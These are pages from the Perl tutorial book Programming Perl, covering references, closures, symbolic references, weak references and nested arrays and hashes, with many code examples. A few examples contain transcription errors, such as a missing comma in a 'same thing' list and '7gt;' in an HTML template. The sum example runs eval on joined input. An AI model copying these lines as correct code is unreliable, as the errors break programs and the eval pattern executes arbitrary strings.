As mentioned earlier, the backslash operator is usually used on a single referent to generate a single reference, but it doesn't have to be. When used on a list of referents, it produces a list of corresponding references. The second line of the following example does the same thing as the first line, since the backslash is automatically distributed throughout the whole list.

@reflist = (\$s, \@a, \%h, \&f);     # List of four references
@reflist = \($s,  @a   %h,  &f);     # Same thing
If a parenthesized list contains exactly one array or hash, then all of its values are interpolated and references to each returned:
@reflist = \(@x);                    # Interpolate array, then get refs
@reflist = map { \$_ } @x;           # Same thing
This also occurs when there are internal parentheses:
@reflist = \(@x, (@y));              # But only single aggregates expand
@reflist = (\@x, map { \$_ } @y);    # Same thing
If you try this with a hash, the result will contain references to the values (as you'd expect), but references to copies of the keys (as you might not expect).

Since array and hash slices are really just lists, you can backslash a slice of either of these to get a list of references. Each of the next three lines does exactly the same thing:

@envrefs = \@ENV{'HOME', 'TERM'};         # Backslashing a slice
@envrefs = \( $ENV{HOME},  $ENV{TERM} );  # Backslashing a list
@envrefs = ( \$ENV{HOME}, \$ENV{TERM} );  # A list of two references
Since functions can return lists, you can apply a backslash to them. If you have more than one function to call, first interpolate each function's return values into a larger list and then backslash the whole thing:
@reflist = \fx();
@reflist = map { \$_ } fx();                # Same thing

@reflist = \( fx(), fy(), fz() );
@reflist = ( \fx(), \fy(), \fz() );         # Same thing
@reflist = map { \$_ } fx(), fy(), fz();    # Same thing
The backslash operator always supplies a list context to its operand, so those functions are all called in list context. If the backslash is itself in scalar context, you'll end up with a reference to the last value of the list returned by the function:
@reflist = \localtime();      # Ref to each of nine time elements
$lastref = \localtime();      # Ref to whether it's daylight savings time
In this regard, the backslash behaves like the named Perl list operators, such as print, reverse, and sort, which always supply a list context on their right no matter what might be happening on their left. As with named list operators, use an explicit scalar to force what follows into scalar context:
$dateref = \scalar localtime();    # \"Sat Jul 16 11:42:18 2000"

You can use the ref operator to determine what a reference is pointing to. Think of ref as a "typeof" operator that returns true if its argument is a reference and false otherwise. The value returned depends on the type of thing referenced. Built-in types include SCALAR, ARRAY, HASH, CODE, GLOB, REF, LVALUE, IO, IO::Handle, and Regexp. Here, we use it to check subroutine arguments:

sub sum {
    my $arrayref = shift;
    warn "Not an array reference" if ref($arrayref) ne "ARRAY";
    return eval join("+", @$arrayref);
}

If you use a hard reference in a string context, it'll be converted to a string containing both the type and the address: SCALAR(0x1fc0e). (The reverse conversion cannot be done, since reference count information is lost during stringification--and also because it would be dangerous to let programs access a memory address named by an arbitrary string.)

You can use the bless operator to associate a referent with a package functioning as an object class. When you do this, ref returns the class name instead of the internal type. An object reference used in a string context returns a string with the external and internal types, and the address in memory: MyType=HASH(0x20d10) or IO::Handle=IO(0x186904). See Chapter 12, "Objects" for more details about objects.

Since the way in which you dereference something always indicates what sort of referent you're looking for, a typeglob can be used the same way a reference can, despite the fact that a typeglob contains multiple referents of various types. So ${*main::foo} and ${\$main::foo} both access the same scalar variable, although the latter is more efficient.

Here's a trick for interpolating the return value of a subroutine call into a string:

print "My sub returned @{[ mysub(1,2,3) ]} that time.\n";
It works like this. At compile time, when the @{...} is seen within the double-quoted string, it's parsed as a block that returns a reference. Within the block, there are square brackets that create a reference to an anonymous array from whatever is in the brackets. So at run time, mysub(1,2,3) is called in list context, and the results are loaded into an anonymous array, a reference to which is then returned within the block. That array reference is then immediately dereferenced by the surrounding @{...}, and the array value is interpolated into the double-quoted string just as an ordinary array would be. This chicanery is also useful for arbitrary expressions, such as:
print "We need @{ [$n + 5] } widgets!\n";
Be careful though: square brackets supply a list context to their expression. In this case it doesn't matter, although the earlier call to mysub might care. When it does matter, use an explicit scalar to force the context:
print "mysub returns @{ [scalar mysub(1,2,3)] } now.\n";

8.3.7. Closures

Earlier we talked about creating anonymous subroutines with a nameless sub {}. You can think of those subroutines as defined at run time, which means that they have a time of generation as well as a location of definition. Some variables might be in scope when the subroutine is created, and different variables might be in scope when the subroutine is called.

Forgetting about subroutines for a moment, consider a reference that refers to a lexical variable:

{
    my $critter = "camel";
    $critterref = \$critter;
}
The value of $$critterref will remain "camel" even though $critter disappears after the closing curly brace. But $critterref could just as well have referred to a subroutine that refers to $critter:
{
    my $critter = "camel";
    $critterref = sub { return $critter };
}
This is a closure, which is a notion out of the functional programming world of LISP and Scheme.[6] It means that when you define an anonymous function in a particular lexical scope at a particular moment, it pretends to run in that scope even when later called from outside that scope. (A purist would say it doesn't have to pretend--it actually does run in that scope.)

[6] In this context, the word "functional" should not be construed as an antonym of "dysfunctional".

In other words, you are guaranteed to get the same copy of a lexical variable each time, even if other instances of that lexical variable have been created before or since for other instances of that closure. This gives you a way to set values used in a subroutine when you define it, not just when you call it.

You can also think of closures as a way to write a subroutine template without using eval. The lexical variables act as parameters for filling in the template, which is useful for setting up little bits of code to run later. These are commonly called callbacks in event-based programming, where you associate a bit of code with a keypress, mouse click, window exposure, and so on. When used as callbacks, closures do exactly what you expect, even if you don't know the first thing about functional programming. (Note that this closure business only applies to my variables. Global variables work as they've always worked, since they're neither created nor destroyed the way lexical variables are.)

Another use for closures is within function generators; that is, functions that create and return brand new functions. Here's an example of a function generator implemented with closures:

sub make_saying  {
    my $salute = shift;
    my $newfunc = sub {
        my $target = shift;
        print "$salute, $target!\n";
    };
    return $newfunc;            # Return a closure
}

$f = make_saying("Howdy");      # Create a closure
$g = make_saying("Greetings");  # Create another closure

# Time passes...

$f->("world");
$g->("earthlings");
This prints:
Howdy, world!
Greetings, earthlings!
Note in particular how $salute continues to refer to the actual value passed into make_saying, despite the fact that the my $salute has gone out of scope by the time the anonymous subroutine runs. That's what closures are all about. Since $f and $g hold references to functions that, when called, still need access to the distinct versions of $salute, those versions automatically stick around. If you now overwrite $f, its version of $salute would automatically disappear. (Perl only cleans up when you're not looking.)

Perl doesn't provide references to object methods (described in Chapter 12, "Objects") but you can get a similar effect using a closure. Suppose you want a reference not just to the subroutine the method represents, but one which, when invoked, would call that method on a particular object. You can conveniently remember both the object and the method as lexical variables bound up inside a closure:

sub get_method_ref {
    my ($self, $methodname) = @_;
    my $methref = sub {
        # the @_ below is not the same as the one above!
        return $self->$methodname(@_);
    };
    return $methref;
}

my $dog = new Doggie::
            Name => "Lucky",
            Legs => 3,
            Tail => "clipped";

our $wagger = get_method_ref($dog, 'wag');
$wagger->("tail");        # Calls $dog->wag('tail').
Not only can you get Lucky to wag what's left of his tail now, even once the lexical $dog variable has gone out of scope and Lucky is nowhere to be seen, the global $wagger variable can still get him to wag his tail, wherever he is.

8.3.7.1. Closures as function templates

Using a closure as a function template allows you to generate many functions that act similarly. Suppose you want a suite of functions that generate HTML font changes for various colors:

print "Be ", red("careful"), "with that ", green("light"), "!!!";
The red and green functions would be very similar. We'd like to name our functions, but closures don't have names since they're just anonymous subroutines with an attitude. To get around that, we'll perform the cute trick of naming our anonymous subroutines. You can bind a coderef to an existing name by assigning it to a typeglob of the name of the function you want. (See the section Section 8.1, "Symbol Tables" in Chapter 10, "Packages". In this case, we'll bind it to two different names, one uppercase and one lowercase:
@colors = qw(red blue green yellow orange purple violet);
for my $name (@colors) {
    no strict 'refs';       # Allow symbolic references
    *$name = *{uc $name} = sub { "<FONT COLOR='$name'7gt;@_</FONT>" };
}
Now you can call functions named red, RED, blue, BLUE, and so on, and the appropriate closure will be invoked. This technique reduces compile time and conserves memory, and is less error-prone as well, since syntax checks happen during compilation. It's critical that any variables in the anonymous subroutine be lexicals in order to create a closure. That's the reason for the my above.

This is one of the few places where giving a prototype to a closure makes sense. If you wanted to impose scalar context on the arguments of these functions (probably not a wise idea for this example), you could have written it this way instead:

*$name = sub ($) { "<FONT COLOR='$name'>$_[0]</FONT>" };
That's almost good enough. However, since prototype checking happens during compile time, the run-time assignment above happens too late to be of much use. You could fix this by putting the whole loop of assignments within a BEGIN block, forcing it to occur during compilation. (More likely, you'd put it out in a module that you use at compile time.) Then the prototypes will be visible during the rest of the compilation.

8.3.7.2. Nested subroutines

If you are accustomed (from other programming languages) to using subroutines nested within other subroutines, each with their own private variables, you'll have to work at it a bit in Perl. Named subroutines do not nest properly, although anonymous ones do.[7] Anyway, we can emulate nested, lexically scoped subroutines using closures. Here's an example:

sub outer {
    my $x = $_[0] + 35;
    local *inner = sub { return $x * 19 };
    return $x + inner();
}
Now inner can only be called from within outer, because of the temporary assignments of the closure. But when it is, it has normal access to the lexical variable $x from the scope of outer.

[7]To be more precise, globally named subroutines don't nest. Unfortunately, that's the only kind of named subroutine declaration we have. We haven't yet implemented lexically scoped, named subroutines (known as my subs), but when we do, they should nest correctly.

This has the interesting effect of creating a function local to another function, something not normally supported in Perl. Because local is dynamically scoped, and because function names are global to their package, any other function that outer called could also call the temporary version of inner. To prevent that, you'd need an extra level of indirection:

sub outer {
    my $x = $_[0] + 35;
    my $inner = sub { return $x * 19 };
    return $x + $inner->();
}

Previous | Home | Next
8.2. Creating References | Book Index | 8.4. Symbolic References
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Symbolic References (Programming Perl)

 Book Home Programming PerlSearch this book

8.4. Symbolic References

What happens if you try to dereference a value that is not a hard reference? The value is then treated as a symbolic reference. That is, the reference is interpreted as a string representing the name of a global variable.

Here is how this works:

$name = "bam";
$$name = 1;                # Sets $bam
$name->[0] = 4;            # Sets the first element of @bam
$name->{X} = "Y";          # Sets the X element of %bam to Y
@$name = ();               # Clears @bam
keys %$name;               # Yields the keys of %bam
&$name;                    # Calls &bam

This is very powerful, and slightly dangerous, in that it's possible to intend (with the utmost sincerity) to use a hard reference, but to accidentally use a symbolic reference instead. To protect against that, you can say:

use strict 'refs';
and then only hard references will be allowed for the rest of the enclosing block. An inner block may countermand the decree with:
no strict 'refs';
It is also important to understand the difference between the following two lines of code:
${identifier};    # Same as $identifier.
${"identifier"};  # Also $identifier, but a symbolic reference.
Because the second form is quoted, it is treated as a symbolic reference and will generate an error if use strict 'refs' is in effect. Even if strict 'refs' is not in effect, it can only refer to a package variable. But the first form is identical to the unbracketed form, and will refer to even a lexically scoped variable if one is declared. The next example shows this (and the next section discusses it).

Only package variables are accessible through symbolic references, because symbolic references always go through the package symbol table. Since lexical variables aren't in a package symbol table, they are therefore invisible to this mechanism. For example:

our $value  = "global";
{
    my $value = "private";
    print "Inside, mine is ${value}, ";
    print "but ours is ${'value'}.\n";
}
print "Outside, ${value} is again ${'value'}.\n";
which prints:
Inside, mine is private, but ours is global.
Outside, global is again global.

Previous | Home | Next
8.3. Using Hard References | Book Index | 8.5. Braces, Brackets, and Quoting
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Braces, Brackets, and Quoting (Programming Perl)

 Book Home Programming PerlSearch this book

8.5. Braces, Brackets, and Quoting

In the previous section, we pointed out that ${identifier} is not treated as a symbolic reference. You might wonder how this interacts with reserved words, and the short answer is that it doesn't. Despite the fact that push is a reserved word, these two statements print "pop on over":

$push = "pop on ";
print "${push}over";
The reason is that, historically, this use of braces is how Unix shells have isolated a variable name from subsequent alphanumeric text that would otherwise be interpreted as part of the name. It's how many people expect variable interpolation to work, so we made it work the same way in Perl. But with Perl, the notion extends further and applies to any braces used in generating references, whether or not they're inside quotes. This means that:
print ${push} . 'over';
or even (since spaces never matter):
print ${ push } . 'over';
both print "pop on over", even though the braces are outside of double quotes. The same rule applies to any identifier used for subscripting a hash. So, instead of writing:
$hash{ "aaa" }{ "bbb" }{ "ccc" }
you can just write:
$hash{ aaa }{ bbb }{ ccc }
or:
$hash{aaa}{bbb}{ccc}
and not worry about whether the subscripts are reserved words. So this:
$hash{ shift }
is interpreted as $hash{"shift"}. You can force interpretation as a reserved word by adding anything that makes it more than a mere identifier:
$hash{  shift()  }
$hash{ +shift   }
$hash{  shift @_ }

8.5.1. References Don't Work as Hash Keys

Hash keys are stored internally as strings.[8] If you try to store a reference as a key in a hash, the key value will be converted into a string:

$x{ \$a } = $a;
($key, $value) = each %x;
print $$key;                # WRONG

[8] They're also stored externally as strings, such as when you put them into a DBM file. In fact, DBM files require that their keys (and values) be strings.

We mentioned earlier that you can't convert a string back to a hard reference. So if you try to dereference $key, which contains a mere string, it won't return a hard dereference, but rather a symbolic dereference--and since you probably don't have a variable named SCALAR(0x1fc0e), you won't accomplish what you're attempting. You might want to do something more like:

$r = \@a;
$x{ $r } = $r;
Then at least you can use the hash value, which will be a hard reference, instead of the key, which won't.

Although you can't store a reference as a key, if (as in the earlier example) you use a hard reference in a string context, it is guaranteed to produce a unique string, since the address of the reference is included as part of the resulting string. So you can in fact use a reference as a unique hash key. You just can't dereference it later.

There is one special kind of hash in which you are able to use references as keys. Through the magic[9] of the Tie::RefHash module bundled with Perl, the thing we just said you couldn't do, you can do:

use Tie::RefHash;
tie my %h, 'Tie::RefHash';
%h = (
    ["this", "here"]   => "at home",
    ["that", "there"]  => "elsewhere",
);
while ( my($keyref, $value) = each %h ) {
    print "@$keyref is $value\n";
}
In fact, by tying different implementations to the built-in types, you can make scalars, hashes, and arrays behave in many of the ways we've said you can't. That'll show us! Stupid authors...

[9]Yes, that is a technical term, as you'll notice if you muddle through the mg.c file in the Perl source distribution.

For more about tying, see Chapter 14, "Tied Variables".

8.5.2. Garbage Collection, Circular References, and Weak References

High-level languages typically allow programmers not to worry about deallocating memory when they're done using it. This automatic reclamation process is known as garbage collection. For most purposes, Perl uses a fast and simple reference-based garbage collector.

When a block is exited, its locally scoped variables are normally freed up, but it is possible to hide your garbage so that Perl's garbage collector can't find it. One serious concern is that unreachable memory with a nonzero reference count will normally not get freed. Therefore, circular references are a bad idea:

{               # make $a and $b point to each other
    my ($a, $b);
    $a = \$b;
    $b = \$a;
}
or more simply:
{               # make $a point to itself
    my $a;
    $a = \$a;
}
Even though $a should be deallocated at the end of the block, it isn't. When building recursive data structures, you'll have to break (or weaken; see below) the self-reference yourself if you want to reclaim the memory before your program (or thread) exits. (Upon exit, the memory will be reclaimed for you automatically via a costly but complete mark-and-sweep garbage collection.) If the data structure is an object, you can use a DESTROY method to break the reference automatically; see "Garbage Collection with DESTROY Methods" in Chapter 12, "Objects".

A similar situation can occur with caches--repositories of data designed for faster-than-normal retrieval. Outside the cache, there are references to data inside the cache. The problem occurs when all of those references are deleted, but the cache data with its internal reference remains. The existence of any reference prevents the referent from being reclaimed by Perl, even though we want cache data to disappear as soon as it's no longer needed. As with circular references, we want a reference that doesn't affect the reference count, and therefore doesn't delay garbage collection.

Weak references solve the problems caused by circular references and cache data by allowing you to "weaken" any reference; that is, make it not affect the reference count. When the last nonweak reference to an object is deleted, the object is destroyed and all the weak references to the object are automatically freed.

To use this feature, you need the WeakRef package from CPAN, which contains additional documentation. Weak references are an experimental feature. But hey, somebody's gotta be the guinea pig.

Previous | Home | Next
8.4. Symbolic References | Book Index | 9. Data Structures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Structures (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 9. Data Structures

Contents:

Arrays of Arrays
Hashes of Arrays
Arrays of Hashes
Hashes of Hashes
Hashes of Functions
More Elaborate Records
Saving Data Structures

Perl provides for free many of the data structures that you have to build yourself in other programming languages. The stacks and queues that budding computer scientists learn about are both just arrays in Perl. When you push and pop (or shift and unshift) an array, it's a stack; when you push and shift (or unshift and pop) an array, it's a queue. And many of the tree structures in the world are built only to provide fast, dynamic access to a conceptually flat lookup table. Hashes, of course, are built into Perl, and provide fast, dynamic access to a conceptually flat lookup table, only without the mind-numbingly recursive data structures that are claimed to be beautiful by people whose minds have been suitably numbed already.

But sometimes you want nested data structures because they most naturally model the problem you're trying to solve. So Perl lets you combine and nest arrays and hashes to create arbitrarily complex data structures. Properly applied, they can be used to create linked lists, binary trees, heaps, B-trees, sets, graphs, and anything else you can devise. See Mastering Algorithms with Perl (O'Reilly, 1999), the Perl Cookbook (O'Reilly, 1998), or CPAN, the central repository for all such modules. But simple combinations of arrays and hashes may be all you ever need, so they're what we'll talk about in this chapter.

9.1. Arrays of Arrays

There are many kinds of nested data structures. The simplest kind to build is an array of arrays, also called a two-dimensional array or a matrix. (The obvious generalization applies: an array of arrays of arrays is a three-dimensional array, and so on for higher dimensions.) It's reasonably easy to understand, and nearly everything that applies here will also be applicable to the fancier data structures that we'll explore in subsequent sections.

9.1.1. Creating and Accessing a Two-Dimensional Array

Here's how to put together a two-dimensional array:

# Assign a list of array references to an array.
@AoA = (
         [ "fred", "barney" ],
         [ "george", "jane", "elroy" ],
         [ "homer", "marge", "bart" ],
);

print $AoA[2][1];   # prints "marge"
The overall list is enclosed by parentheses, not brackets, because you're assigning a list and not a reference. If you wanted a reference to an array instead, you'd use brackets:
# Create an reference to an array of array references.
$ref_to_AoA = [
    [ "fred", "barney", "pebbles", "bamm bamm", "dino", ],
    [ "homer", "bart", "marge", "maggie", ],
    [ "george", "jane", "elroy", "judy", ],
];

print $ref_to_AoA->[2][3];   # prints "judy"
Remember that there is an implied -> between every pair of adjacent braces or brackets. Therefore these two lines:
$AoA[2][3]
$ref_to_AoA->[2][3]
are equivalent to these two lines:
$AoA[2]->[3]
$ref_to_AoA->[2]->[3]
There is, however, no implied -> before the first pair of brackets, which is why the dereference of $ref_to_AoA requires the initial ->. Also remember that you can count backward from the end of an array with a negative index, so:
$AoA[0][-2]
is the next-to-last element of the first row.

9.1.2. Growing Your Own

Those big list assignments are well and good for creating a fixed data structure, but what if you want to calculate each element on the fly, or otherwise build the structure piecemeal?

Let's read in a data structure from a file. We'll assume that it's a plain text file, where each line is a row of the structure, and each line consists of elements delimited by whitespace. Here's how to proceed:[1]

while (<>) {
    @tmp = split;           # Split elements into an array.
    push @AoA, [ @tmp ];    # Add an anonymous array reference to @AoA.
}
Of course, you don't need to name the temporary array, so you could also say:
while (<>) {
    push @AoA, [ split ];
}
If you want a reference to an array of arrays, you can do this:
while (<>) {
    push @$ref_to_AoA, [ split ];
}
Both of those examples add new rows to the array of arrays. What about adding new columns? If you're just dealing with two-dimensional arrays, it's often easiest to use simple assignment:[2]
for $x (0 .. 9) {                       # For each row...
    for $y (0 .. 9) {                   # For each column...
        $AoA[$x][$y] = func($x, $y);    # ...set that cell
    }
}

for $x ( 0..9 ) {                       # For each row...
    $ref_to_AoA->[$x][3] = func2($x);   # ...set the fourth column
}
It doesn't matter in what order you assign the elements, nor does it matter whether the subscripted elements of @AoA are already there or not; Perl will gladly create them for you, setting intervening elements to the undefined value as need be. (Perl will even create the original reference in $ref_to_AoA for you if it needs to.) If you just want to append to a row, you have to do something a bit funnier:
# Append new columns to an existing row.
push @{ $AoA[0] }, "wilma", "betty";
Notice that this wouldn't work:
push $AoA[0], "wilma", "betty";  # WRONG!
That won't even compile, because the argument to push must be a real array, not just a reference to an array. Therefore, the first argument absolutely must begin with an @ character. What comes after the @ is somewhat negotiable.

[1] Here as in other chapters, we omit (for clarity) the my declarations that you would ordinarily put in. In this example, you'd normally write my @tmp = split.

[2] As with the temp assignment earlier, we've simplified; the loops in this chapter would likely be written for my $x in real code.

9.1.3. Access and Printing

Now let's print the data structure. If you only want one element, this is sufficient:

print $AoA[3][2];
But if you want to print the whole thing, you can't just say:
print @AoA;         # WRONG

It's wrong because you'll see stringified references instead of your data. Perl never automatically dereferences for you. Instead, you have to roll yourself a loop or two. The following code prints the whole structure, looping through the elements of @AoA and dereferencing each inside the print statement:

for $row ( @AoA ) {
    print "@$row\n";
}
If you want to keep track of subscripts, you might do this:
for $i ( 0 .. $#AoA ) {
    print "row $i is: @{$AoA[$i]}\n";
}
or maybe even this (notice the inner loop):
for $i ( 0 .. $#AoA ) {
    for $j ( 0 .. $#{$AoA[$i]} ) {
        print "element $i $j is $AoA[$i][$j]\n";
    }
}
As you can see, things are getting a bit complicated. That's why sometimes it's easier to use a temporary variable on your way through:
for $i ( 0 .. $#AoA ) {
    $row = $AoA[$i];
    for $j ( 0 .. $#{$row} ) {
        print "element $i $j is $row->[$j]\n";
    }
}

9.1.4. Slices

If you want to access a slice (part of a row) of a multidimensional array, you're going to have to do some fancy subscripting. The pointer arrows give us a nice way to access a single element, but no such convenience exists for slices. You can always extract the elements of your slice one-by-one with a loop:

@part = ();
for ($y = 7; $y < 13; $y++) {
    push @part, $AoA[4][$y];
}
This particular loop could be replaced with an array slice:
@part = @{ $AoA[4] } [ 7..12 ];
If you want a two-dimensional slice, say, with $x running from 4..8 and $y from 7..12, here's one way to do it:
@newAoA = ();
for ($startx = $x = 4; $x <= 8; $x++) {
    for ($starty = $y = 7; $y <= 12; $y++) {
        $newAoA[$x - $startx][$y - $starty] = $AoA[$x][$y];
    }
}
In this example, the individual values within our destination two-dimensional array, @newAoA, are assigned one by one, taken from a two-dimensional subarray of @AoA. An alternative is to create anonymous arrays, each consisting of a desired slice of an @AoA subarray, and then put references to these anonymous arrays into @newAoA. We would then be writing references into @newAoA (subscripted once, so to speak) instead of subarray values into a twice-subscripted @newAoA. This method eliminates the innermost loop:
for ($x = 4; $x <= 8; $x++) {
    push @newAoA, [ @{ $AoA[$x] } [ 7..12 ] ];
}
Of course, if you do this often, you should probably write a subroutine called something like extract_rectangle. And if you do it very often with large collections of multidimensional data, you should probably use the PDL (Perl Data Language) module, available from CPAN.

9.1.5. Common Mistakes

As mentioned earlier, Perl arrays and hashes are one-dimensional. In Perl, even "multidimensional" arrays are actually one-dimensional, but the values along that dimension are references to other arrays, which collapse many elements into one. If you print these values out without dereferencing them, you will get the stringified references rather than the data you want. For example, these two lines:

@AoA = ( [2, 3], [4, 5, 7], [0] );
print "@AoA";
result in something like:
ARRAY(0x83c38) ARRAY(0x8b194) ARRAY(0x8b1d0)
On the other hand, this line displays 7:
print $AoA[1][2];

When constructing an array of arrays, remember to compose new references for the subarrays. Otherwise, you will just create an array containing the element counts of the subarrays, like this:

for $i (1..10) {
    @array = somefunc($i);
    $AoA[$i] = @array;       # WRONG!
}
Here @array is being accessed in a scalar context, and therefore yields the count of its elements, which is dutifully assigned to $AoA[$i]. The proper way to assign the reference will be shown in a moment.

After making the previous mistake, people realize they need to assign a reference, so the next mistake people naturally make involves taking a reference to the same memory location over and over again:

for $i (1..10) {
    @array = somefunc($i);
    $AoA[$i] = \@array;      # WRONG AGAIN!
}
Every reference generated by the second line of the for loop is the same, namely, a reference to the single array @array. Yes, this array changes on each pass through the loop, but when everything is said and done, $AoA contains 10 references to the same array, which now holds the last set of values assigned to it. print @{$AoA[1]} will reveal the same values as print @{$AoA[2]}.

Here's a more successful approach:

for $i (1..10) {
    @array = somefunc($i);
    $AoA[$i] = [ @array ];   # RIGHT!
}
The brackets around @array create a new anonymous array, into which the elements of @array are copied. We then store a reference to that new array.

A similar result--though more difficult to read--would be produced by:

for $i (1..10) {
    @array = somefunc($i);
    @{$AoA[$i]} = @array;
}
Since $AoA[$i] needs to be a new reference, the reference springs into existence. Then, the preceding @ dereferences this new reference, with the result that the values of @array are assigned (in list context) to the array referenced by $AoA[$i]. You might wish to avoid this construct for clarity's sake.

But there is a situation in which you might use it. Suppose @AoA is already an array of references to arrays. That is, you've made assignments like:

$AoA[3] = \@original_array;
And now suppose that you want to change @original_array (that is, you want to change the fourth row of $AoA) so that it refers to the elements of @array. This code will work:
@{$AoA[3]} = @array;
In this case, the reference itself does not change, but the elements of the referenced array do. This overwrites the values of @original_array.

Finally, the following dangerous-looking code actually works fine:

for $i (1..10) {
    my @array = somefunc($i);
    $AoA[$i] = \@array;
}
That's because the lexically scoped my @array variable is created afresh on each pass through the loop. So even though it looks as though you've stored the same variable reference each time, you haven't. This is a subtle distinction, but the technique can produce more efficient code, at the risk of misleading less-enlightened programmers. (It's more efficient because there's no copy in the final assignment.) On the other hand, if you have to copy the values anyway (which the first assignment in the loop is doing), then you might as well use the copy implied by the brackets and avoid the temporary variable:
for $i (1..10) {
    $AoA[$i] = [ somefunc($i) ];
}
In summary:
$AoA[$i] = [ @array ];   # Safest, sometimes fastest
$AoA[$i] = \@array;      # Fast but risky, depends on my-ness of array
@{ $AoA[$i] } = @array;  # A bit tricky
Once you've mastered arrays of arrays, you'll want to tackle more complex data structures. If you're looking for C structures or Pascal records, you won't find any special reserved words in Perl to set these up for you. What you get instead is a more flexible system. If your idea of a record structure is less flexible than this, or if you'd like to provide your users with something more opaque and rigid, then you can use the object-oriented features detailed in Chapter 12, "Objects".

Perl has just two ways of organizing data: as ordered lists stored in arrays and accessed by position, or as unordered key/value pairs stored in hashes and accessed by name. The best way to represent a record in Perl is with a hash reference, but how you choose to organize such records will vary. You might want to keep an ordered list of these records that you can look up by number, in which case you'd use an array of hash references to store the records. Or, you might wish to look the records up by name, in which case you'd maintain a hash of hash references. You could even do both at once, with pseudohashes.

In the following sections, you will find code examples detailing how to compose (from scratch), generate (from other sources), access, and display several different data structures. We first demonstrate three straightforward combinations of arrays and hashes, followed by a hash of functions and more irregular data structures. We end with a demonstration of how these data structures can be saved. These examples assume that you have already familiarized yourself with the explanations set forth earlier in this chapter.

Previous | Home | Next
8.5. Braces, Brackets, and Quoting | Book Index | 9.2. Hashes of Arrays
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Hashes of Arrays (Programming Perl)

 Book Home Programming PerlSearch this book

9.2. Hashes of Arrays

Use a hash of arrays when you want to look up each array by a particular string rather than merely by an index number. In our example of television characters, instead of looking up the list of names by the zeroth show, the first show, and so on, we'll set it up so we can look up the cast list given the name of the show.

Because our outer data structure is a hash, we can't order the contents, but we can use the sort function to specify a particular output order.

9.2.1. Composition of a Hash of Arrays

You can create a hash of anonymous arrays as follows:

# We customarily omit quotes when the keys are identifiers.
%HoA = (
    flintstones    => [ "fred", "barney" ],
    jetsons        => [ "george", "jane", "elroy" ],
    simpsons       => [ "homer", "marge", "bart" ],
);
To add another array to the hash, you can simply say:
$HoA{teletubbies} = [ "tinky winky", "dipsy", "laa-laa", "po" ];

9.2.2. Generation of a Hash of Arrays

Here are some techniques for populating a hash of arrays. To read from a file with the following format:

flintstones: fred barney wilma dino
jetsons:     george jane elroy
simpsons:    homer marge bart
you could use either of the following two loops:
while ( <> ) {
    next unless s/^(.*?):\s*//;
    $HoA{$1} = [ split ];
}

while ( $line = <> ) {
    ($who, $rest) = split /:\s*/, $line, 2;
    @fields = split ' ', $rest;
    $HoA{$who} = [ @fields ];
}
If you have a subroutine get_family that returns an array, you can use it to stuff %HoA with either of these two loops:
for $group ( "simpsons", "jetsons", "flintstones" ) {
    $HoA{$group} = [ get_family($group) ];
}

for $group ( "simpsons", "jetsons", "flintstones" ) {
    @members = get_family($group);
    $HoA{$group} = [ @members ];
}
You can append new members to an existing array like so:
push @{ $HoA{flintstones} }, "wilma", "pebbles";

9.2.3. Access and Printing of a Hash of Arrays

You can set the first element of a particular array as follows:

$HoA{flintstones}[0] = "Fred";
To capitalize the second Simpson, apply a substitution to the appropriate array element:
$HoA{simpsons}[1] =~ s/(\w)/\u$1/;
You can print all of the families by looping through the keys of the hash:
for $family ( keys %HoA ) {
    print "$family: @{ $HoA{$family} }\n";
}
With a little extra effort, you can add array indices as well:
for $family ( keys %HoA ) {
    print "$family: ";
    for $i ( 0 .. $#{ $HoA{$family} } ) {
        print " $i = $HoA{$family}[$i]";
    }
    print "\n";
}
Or sort the arrays by how many elements they have:
for $family ( sort { @{$HoA{$b}} <=> @{$HoA{$a}} } keys %HoA ) {
    print "$family: @{ $HoA{$family} }\n"
}
Or even sort the arrays by the number of elements and then order the elements ASCIIbetically (or to be precise, utf8ically):
# Print the whole thing sorted by number of members and name.
for $family ( sort { @{$HoA{$b}} <=> @{$HoA{$a}} } keys %HoA ) {
    print "$family: ", join(", ", sort @{ $HoA{$family} }), "\n";
}

Previous | Home | Next
9.1. Arrays of Arrays | Book Index | 9.3. Arrays of Hashes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Arrays of Hashes (Programming Perl)

 Book Home Programming PerlSearch this book

9.3. Arrays of Hashes

An array of hashes is useful when you have a bunch of records that you'd like to access sequentially, and each record itself contains key/value pairs. Arrays of hashes are used less frequently than the other structures in this chapter.

9.3.1. Composition of an Array of Hashes

You can create an array of anonymous hashes as follows:

@AoH = (
    {
       husband  => "barney",
       wife     => "betty",
       son      => "bamm bamm",
    },
    {
       husband => "george",
       wife    => "jane",
       son     => "elroy",
    },

    {
       husband => "homer",
       wife    => "marge",
       son     => "bart",
    },
  );
To add another hash to the array, you can simply say:
push @AoH, { husband => "fred", wife => "wilma", daughter => "pebbles" };

9.3.2. Generation of an Array of Hashes

Here are some techniques for populating an array of hashes. To read from a file with the following format:

husband=fred friend=barney
you could use either of the following two loops:
while ( <> ) {
    $rec = {};
    for $field ( split ) {
        ($key, $value) = split /=/, $field;
        $rec->{$key} = $value;
    }
    push @AoH, $rec;
}

while ( <> ) {
    push @AoH, { split /[\s=]+/ };
}
If you have a subroutine get_next_pair that returns key/value pairs, you can use it to stuff @AoH with either of these two loops:
while ( @fields = get_next_pair() ) {
    push @AoH, { @fields };
}

while (<>) {
    push @AoH, { get_next_pair($_) };
}
You can append new members to an existing hash like so:
$AoH[0]{pet} = "dino";
$AoH[2]{pet} = "santa's little helper";

9.3.3. Access and Printing of an Array of Hashes

You can set a key/value pair of a particular hash as follows:

$AoH[0]{husband} = "fred";
To capitalize the husband of the second array, apply a substitution:
$AoH[1]{husband} =~ s/(\w)/\u$1/;
You can print all of the data as follows:
for $href ( @AoH ) {
    print "{ ";
    for $role ( keys %$href ) {
         print "$role=$href->{$role} ";
    }
    print "}\n";
}
and with indices:
for $i ( 0 .. $#AoH ) {
    print "$i is { ";
    for $role ( keys %{ $AoH[$i] } ) {
         print "$role=$AoH[$i]{$role} ";
    }
    print "}\n";
}

Previous | Home | Next
9.2. Hashes of Arrays | Book Index | 9.4. Hashes of Hashes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Hashes of Hashes (Programming Perl)

 Book Home Programming PerlSearch this book

